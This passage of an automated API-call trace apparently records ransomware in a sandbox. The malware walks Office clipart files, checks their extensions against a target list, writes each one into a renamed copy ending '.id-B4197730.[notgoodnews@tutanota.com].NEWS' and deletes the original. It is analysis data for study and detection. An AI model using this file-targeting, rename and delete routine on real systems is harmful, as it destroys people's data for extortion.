Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.700] lstrlenW (lpString=".zip") returned 4 [0080.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.700] lstrlenW (lpString=".rar") returned 4 [0080.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString=".bz2") returned 4 [0080.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString=".7z") returned 3 [0080.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.700] lstrlenW (lpString=".dbf") returned 4 [0080.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.700] lstrlenW (lpString=".1cd") returned 4 [0080.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0080.700] lstrlenW (lpString=".jpg") returned 4 [0080.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.700] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.700] lstrlenW (lpString="BL00921_.WMF") returned 12 [0080.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.701] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4408) returned 1 [0080.701] CloseHandle (hObject=0x33c) returned 1 [0080.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0080.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.701] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.701] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.702] GetLastError () returned 0x0 [0080.702] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1138, lpOverlapped=0x0) returned 1 [0080.703] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1140, lpOverlapped=0x0) returned 1 [0080.704] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.704] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.704] SetEndOfFile (hFile=0x390) returned 1 [0080.704] CloseHandle (hObject=0x390) returned 1 [0080.705] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.705] SetEndOfFile (hFile=0x33c) returned 1 [0080.706] CloseHandle (hObject=0x33c) returned 1 [0080.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0080.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.707] lstrlenW (lpString=".doc") returned 4 [0080.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString=".docx") returned 5 [0080.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.707] lstrlenW (lpString=".pdf") returned 4 [0080.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString=".xls") returned 4 [0080.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.707] lstrlenW (lpString=".xlsx") returned 5 [0080.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.707] lstrlenW (lpString=".ppt") returned 4 [0080.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.707] lstrlenW (lpString=".zip") returned 4 [0080.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.707] lstrlenW (lpString=".rar") returned 4 [0080.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString=".bz2") returned 4 [0080.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString=".7z") returned 3 [0080.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.707] lstrlenW (lpString=".dbf") returned 4 [0080.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.707] lstrlenW (lpString=".1cd") returned 4 [0080.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".jpg") returned 4 [0080.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".doc") returned 4 [0080.708] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString=".docx") returned 5 [0080.708] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.708] lstrlenW (lpString=".pdf") returned 4 [0080.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString=".xls") returned 4 [0080.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.708] lstrlenW (lpString=".xlsx") returned 5 [0080.708] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.708] lstrlenW (lpString=".ppt") returned 4 [0080.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".zip") returned 4 [0080.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.708] lstrlenW (lpString=".rar") returned 4 [0080.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString=".bz2") returned 4 [0080.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString=".7z") returned 3 [0080.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".dbf") returned 4 [0080.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".1cd") returned 4 [0080.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0080.708] lstrlenW (lpString=".jpg") returned 4 [0080.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.709] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.709] lstrlenW (lpString="BL00923_.WMF") returned 12 [0080.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.709] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=6256) returned 1 [0080.709] CloseHandle (hObject=0x33c) returned 1 [0080.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x220 [0080.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.710] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.710] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.710] GetLastError () returned 0x0 [0080.710] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1870, lpOverlapped=0x0) returned 1 [0080.711] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1880, lpOverlapped=0x0) returned 1 [0080.712] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.713] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.713] SetEndOfFile (hFile=0x390) returned 1 [0080.713] CloseHandle (hObject=0x390) returned 1 [0080.714] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.714] SetEndOfFile (hFile=0x33c) returned 1 [0080.715] CloseHandle (hObject=0x33c) returned 1 [0080.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0080.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.715] lstrlenW (lpString=".doc") returned 4 [0080.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.715] lstrlenW (lpString=".docx") returned 5 [0080.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.715] lstrlenW (lpString=".pdf") returned 4 [0080.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.715] lstrlenW (lpString=".xls") returned 4 [0080.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.715] lstrlenW (lpString=".xlsx") returned 5 [0080.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.716] lstrlenW (lpString=".ppt") returned 4 [0080.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString=".zip") returned 4 [0080.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.716] lstrlenW (lpString=".rar") returned 4 [0080.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString=".bz2") returned 4 [0080.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString=".7z") returned 3 [0080.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString=".dbf") returned 4 [0080.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString=".1cd") returned 4 [0080.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString=".jpg") returned 4 [0080.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.716] lstrlenW (lpString=".doc") returned 4 [0080.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString=".docx") returned 5 [0080.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.716] lstrlenW (lpString=".pdf") returned 4 [0080.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.716] lstrlenW (lpString=".xls") returned 4 [0080.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.716] lstrlenW (lpString=".xlsx") returned 5 [0080.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.716] lstrlenW (lpString=".ppt") returned 4 [0080.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.717] lstrlenW (lpString=".zip") returned 4 [0080.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.717] lstrlenW (lpString=".rar") returned 4 [0080.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.717] lstrlenW (lpString=".bz2") returned 4 [0080.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.717] lstrlenW (lpString=".7z") returned 3 [0080.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.717] lstrlenW (lpString=".dbf") returned 4 [0080.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.717] lstrlenW (lpString=".1cd") returned 4 [0080.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68 [0080.717] lstrlenW (lpString=".jpg") returned 4 [0080.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.717] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.717] lstrlenW (lpString="BL00932_.WMF") returned 12 [0080.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.717] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19476) returned 1 [0080.718] CloseHandle (hObject=0x33c) returned 1 [0080.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0080.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.718] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.718] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.718] GetLastError () returned 0x0 [0080.718] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0080.720] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0080.721] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.721] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.721] SetEndOfFile (hFile=0x390) returned 1 [0080.722] CloseHandle (hObject=0x390) returned 1 [0080.723] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.723] SetEndOfFile (hFile=0x33c) returned 1 [0080.724] CloseHandle (hObject=0x33c) returned 1 [0080.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0080.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.724] lstrlenW (lpString=".doc") returned 4 [0080.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString=".docx") returned 5 [0080.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.725] lstrlenW (lpString=".pdf") returned 4 [0080.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString=".xls") returned 4 [0080.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.725] lstrlenW (lpString=".xlsx") returned 5 [0080.725] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.725] lstrlenW (lpString=".ppt") returned 4 [0080.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString=".zip") returned 4 [0080.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.725] lstrlenW (lpString=".rar") returned 4 [0080.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString=".bz2") returned 4 [0080.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString=".7z") returned 3 [0080.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString=".dbf") returned 4 [0080.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString=".1cd") returned 4 [0080.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString=".jpg") returned 4 [0080.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.725] lstrlenW (lpString=".doc") returned 4 [0080.725] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.725] lstrlenW (lpString=".docx") returned 5 [0080.725] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.726] lstrlenW (lpString=".pdf") returned 4 [0080.726] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString=".xls") returned 4 [0080.726] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.726] lstrlenW (lpString=".xlsx") returned 5 [0080.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.726] lstrlenW (lpString=".ppt") returned 4 [0080.726] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.726] lstrlenW (lpString=".zip") returned 4 [0080.726] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.726] lstrlenW (lpString=".rar") returned 4 [0080.726] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString=".bz2") returned 4 [0080.726] lstrcmpiW 